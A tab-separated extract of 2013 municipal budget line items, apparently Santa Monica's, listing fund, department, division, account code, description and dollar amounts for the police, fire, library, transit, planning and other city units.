270	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511920.0	UNIFORM / TOOL ALLOWANCE		Salaries and Wages	2013	3600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3600.0
271	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2013	550.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	550.0
272	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2013	9058.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9058.0
273	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2013	15420.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15420.0
274	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	555010.0	CONTRACTUAL SERVICES	806.0	 Supplies and Expenses	2013	39372.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	39372.0
275	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	588050.0	FIRE SUPPRESSION EQUIPMENT	806.0	 Supplies and Expenses	2013	38760.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	38760.0
276	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	588200.0	BLDG RENOVATION / MAINTENANCE	806.0	 Supplies and Expenses	2013	26520.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	26520.0
277	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2013	7064.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7064.0
278	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2013	1632.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1632.0
279	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511979.0	MEDICAL EXAMS		Salaries and Wages	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
280	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522044.0	PREMIUMS FOR PL & PD-SRV REV		 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
281	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522625.0	OTHER OPERATING RENTS		 Supplies and Expenses	2013	1752.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1752.0
282	B1	IS	1	General Fund	310	FIRE	315	TRAINING	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2013	510.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	510.0
283	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522950.0	CNG FUEL	816.0	 Supplies and Expenses	2013	443.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	443.0
284	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2013	135000.0	0	0.0	0.0	0	0	0.0	1350	0.0	0	0	0.0	136350.0
285	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522620.0	RENT	816.0	 Supplies and Expenses	2013	245530.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	245530.0
286	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2013	4600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4600.0
287	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2013	300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	300.0
288	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522900.0	MEMBERSHIPS AND DUES	812.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
289	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522910.0	VEHICLES - FUELS / LUBRICATION	812.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
290	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2013	1850.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1850.0
291	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544040.0	BOOKS/PAMPHLETS	812.0	 Supplies and Expenses	2013	570121.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	570121.0
292	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522320.0	METERED POSTAGE	808.0	 Supplies and Expenses	2013	1988.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1988.0
293	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	566500.0	RECRUITING	806.0	 Supplies and Expenses	2013	17000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17000.0
294	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511650.0	POLICE CADETS	806.0	Salaries and Wages	2013	80485.0	0	0.0	0.0	0	0	0.0	805	0.0	0	0	0.0	81290.0
295	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522610.0	EQUIPMENT RENTAL	806.0	 Supplies and Expenses	2013	8561.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8561.0
296	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	533160.0	PHOTO EQUIPMENT MAINTENANCE	806.0	 Supplies and Expenses	2013	1700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1700.0
297	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	566140.0	INVESTIGATION EXPENSE	806.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
298	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	566140.0	INVESTIGATION EXPENSE	806.0	 Supplies and Expenses	2013	43933.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	43933.0
299	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511490.0	OVERTIME	806.0	Salaries and Wages	2013	23017.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23017.0
300	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	522120.0	UTILITIES - NATURAL GAS	806.0	 Supplies and Expenses	2013	5500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5500.0
301	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2013	4300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4300.0
302	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2013	101967.0	0	0.0	0.0	0	0	0.0	1020	0.0	0	0	0.0	102987.0
303	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511490.0	OVERTIME	806.0	Salaries and Wages	2013	235465.0	0	0.0	0.0	0	0	0.0	529	0.0	0	0	0.0	235994.0
304	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511490.0	OVERTIME	806.0	Salaries and Wages	2013	4194800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4194800.0
305	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2013	138800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	138800.0
306	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	588070.0	EDUC & RECREATIONAL EQUIPMENT	806.0	 Supplies and Expenses	2013	8670.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8670.0
307	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2013	4080.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4080.0
308	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511979.0	MEDICAL EXAMS		Salaries and Wages	2013	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
309	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555011.0	OUTSIDE REPAIRS - BUSES		 Supplies and Expenses	2013	1288140.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1288140.0
310	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2013	2601475.0	-87032	0.0	0.0	0	0	0.0	-129590	0.0	0	0	0.0	2384853.0
311	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511979.0	MEDICAL EXAMS		Salaries and Wages	2013	70000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	70000.0
312	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2013	7000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7000.0
313	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2013	127503.0	0	0.0	0.0	0	0	0.0	1275	0.0	0	0	0.0	128778.0
314	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511490.0	OVERTIME		Salaries and Wages	2013	2800000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2800000.0
315	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
316	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2013	6200131.0	0	0.0	0.0	0	0	0.0	39755	0.0	0	0	0.0	6239886.0
317	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511490.0	OVERTIME	806.0	Salaries and Wages	2013	119876.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	119876.0
318	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522110.0	UTIL - LIGHT / POWER	806.0	 Supplies and Expenses	2013	9513.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9513.0
319	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522160.0	TRANSFER STATION FEE	806.0	 Supplies and Expenses	2013	1136.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1136.0
320	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2013	188811.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	188811.0
321	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522320.0	METERED POSTAGE	806.0	 Supplies and Expenses	2013	18000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18000.0
322	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2013	7140.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7140.0
323	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533210.0	BLDG OPER / CUST SUPPLIES	806.0	 Supplies and Expenses	2013	11220.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11220.0
324	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533220.0	BLDG / STRUCTURE MAINTENANCE	806.0	 Supplies and Expenses	2013	5020.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5020.0
325	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544030.0	BADGE / AWARD / NAME PLA	806.0	 Supplies and Expenses	2013	15300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15300.0
326	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544120.0	PERIODICALS	806.0	 Supplies and Expenses	2013	1594.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1594.0
327	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511500.0	TEMPORARY EMPLOYEES	806.0	Salaries and Wages	2013	32842.0	0	0.0	0.0	0	0	0.0	328	0.0	0	0	0.0	33170.0
328	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2013	3001.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3001.0
329	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2013	8356901.0	0	0.0	0.0	0	0	0.0	29851	0.0	0	0	0.0	8386752.0
330	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511650.0	POLICE CADETS	806.0	Salaries and Wages	2013	41238.0	0	0.0	0.0	0	0	0.0	412	0.0	0	0	0.0	41650.0
331	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
332	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
333	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	544080.0	LICENSE TAGS / STICKERS	806.0	 Supplies and Expenses	2013	1122.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1122.0
334	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2013	700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	700.0
335	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511490.0	OVERTIME		Salaries and Wages	2013	71869.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	71869.0
336	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	522910.0	VEHICLES - FUELS / LUBRICATION		 Supplies and Expenses	2013	8854.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8854.0
337	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
338	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2013	52989.0	0	0.0	0.0	0	0	0.0	105000	0.0	0	0	0.0	157989.0
339	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2013	631.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	631.0
340	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569120.0	SM MUSEUM OF ART	810.0	 Supplies and Expenses	2013	60000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	60000.0
341	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569160.0	18TH STREET ARTS COMPLEX	810.0	 Supplies and Expenses	2013	34000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	34000.0
342	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		EAP	806.0	Salaries and Wages	2013	17995.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17995.0
343	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569180.0	HIGHWAYS PERFORMANCE SPACE	810.0	 Supplies and Expenses	2013	26000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	26000.0
344	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511490.0	OVERTIME	816.0	Salaries and Wages	2013	1521.0	0	0.0	0.0	0	0	0.0	15	0.0	0	0	0.0	1536.0
345	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	401660.0	WASTEWATER CAPITAL FAC FEES	650.0	Charges for Service	2013	-400000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-400000.0
346	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	401990.0	SADDLE FEES	650.0	Charges for Service	2013	-39000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-39000.0
347	B1	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTE WATER	405500.0	STORMWATER MGMT USER FEE	650.0	Charges for Service	2013	-1240000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1240000.0
348	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	555210.0	TRAINING	804.0	 Supplies and Expenses	2013	22368.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	22368.0
349	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533600.0	CONF / MTGS / TRAVEL-KM	804.0	 Supplies and Expenses	2013	6965.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6965.0
350	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511490.0	OVERTIME	804.0	Salaries and Wages	2013	5214.0	0	0.0	0.0	0	0	0.0	52	0.0	0	0	0.0	5266.0
351	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
352	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2013	35000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	35000.0
353	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511650.0	POLICE CADETS	806.0	Salaries and Wages	2013	132932.0	0	0.0	0.0	0	0	0.0	1329	0.0	0	0	0.0	134261.0
354	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2013	130000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	130000.0
355	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544060.0	JAIL SUPPLIES	806.0	 Supplies and Expenses	2013	66810.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	66810.0
356	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544170.0	PROTECTIVE CLOTHING-NON-SWORN	806.0	 Supplies and Expenses	2013	30000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30000.0
357	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	522720.0	MILEAGE	804.0	 Supplies and Expenses	2013	102.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	102.0
358	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2013	56523.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	56523.0
359	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2013	31882.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	31882.0
360	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522720.0	MILEAGE	810.0	 Supplies and Expenses	2013	204.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	204.0
361	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	2263191.0	0	0.0	0.0	0	0	0.0	22632	0.0	0	0	0.0	2285823.0
362	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511490.0	OVERTIME	816.0	Salaries and Wages	2013	10289.0	0	0.0	0.0	0	0	0.0	103	0.0	0	0	0.0	10392.0
363	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	555010.0	CONTRACTUAL SERVICES	816.0	 Supplies and Expenses	2013	10293.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10293.0
364	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	816.0	 Supplies and Expenses	2013	10883.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10883.0
365	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
366	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2013	10800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10800.0
367	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2013	39000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	39000.0
368	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2013	3683.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3683.0
369	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522160.0	TRANSFER STATION FEE	816.0	 Supplies and Expenses	2013	1608.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1608.0
370	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511730.0	WORKERS' COMP INSURANCE	806.0	Salaries and Wages	2013	3028162.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3028162.0
371	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522210.0	UTILITIES - TELEPHONE	806.0	 Supplies and Expenses	2013	217983.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	217983.0
372	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2013	3116.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3116.0
373	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2013	20024.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20024.0
374	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2013	10200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10200.0
375	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2013	25488.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25488.0
376	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	544020.0	AMMO / SHOOTING SUPPLIES	806.0	 Supplies and Expenses	2013	35357.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	35357.0
377	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	566240.0	PARKING METER ENFORCEMENT	806.0	 Supplies and Expenses	2013	31293.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	31293.0
378	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511490.0	OVERTIME	806.0	Salaries and Wages	2013	402920.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	402920.0
379	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511500.0	TEMPORARY EMPLOYEES	806.0	Salaries and Wages	2013	32032.0	0	0.0	0.0	0	0	0.0	320	0.0	0	0	0.0	32352.0
380	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522610.0	EQUIPMENT RENTAL	806.0	 Supplies and Expenses	2013	2272.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2272.0
381	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2013	17679.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17679.0
382	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511500.0	TEMPORARY EMPLOYEES	816.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	37925	0.0	0	0	0.0	37925.0
383	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544170.0	UNIFORM / PROTECTIVE CLOTHING	816.0	 Supplies and Expenses	2013	3500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3500.0
384	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544180.0	SMALL TOOLS	816.0	 Supplies and Expenses	2013	500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	500.0
385	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2013	4200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4200.0
386	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2013	2519034.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2519034.0
387	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2013	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
388	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2013	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
389	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2013	13000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13000.0
390	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
